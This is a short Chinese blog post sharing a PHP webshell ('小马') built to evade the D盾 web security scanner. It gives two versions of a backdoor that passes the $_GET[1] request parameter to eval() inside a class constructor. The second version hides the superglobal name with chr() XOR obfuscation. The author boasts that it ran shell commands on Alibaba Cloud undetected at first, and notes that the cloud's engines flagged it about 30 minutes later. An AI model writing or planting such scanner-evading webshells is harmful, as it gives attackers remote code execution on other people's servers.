过D盾小马
首页 > 学习    作者:Iamyc   2019年12月25日 14:38 星期三   热度:175°   百度已收录  
时间:2019-12-25 14:38   热度:175° 

其实就简单就这样就行了:

<?php

class yc{
public function __construct(){
$args_num = func_num_args();
if($args_num==2){
            eval(func_get_arg(0));
        }
}
}
$a=$_GET[1];
$yc=new yc($a,$a);

?>

但是还是变形下,可能觉得好点:

<?php
class yc{
public function __construct(){
$args_num = func_num_args();
if($args_num==2){
            eval(func_get_arg(0));
        }
}
}
$a=${(chr(63)^chr(96)).(chr(60)^chr(123)).(chr(62)^chr(123)).
(chr(47)^chr(123))}[chr(49)];
$yc=new yc($a,$a);

?>
过D盾,阿里云执行shell命令全程无风险提示!


现在是30分钟后,如期收到了阿里云警告信息,我擦。

这尼玛也太强了吧,去控制台看了下,查杀引擎有:

词法分析引擎、阿里云杀毒引擎、机器学习&深度学习引擎

服了。

二维码加载中...
本文作者:Iamyc      文章标题: 过D盾小马
本文地址:http://lang-v.com/first_cms/yc/emlog/src/?post=128
版权声明:若无注明,本文皆为“YC's Blog”原创,转载请保留文章出处。

返回顶部    首页    手机版本    后花园  
版权所有:YC's Blog    站长: Iamyc    程序:emlog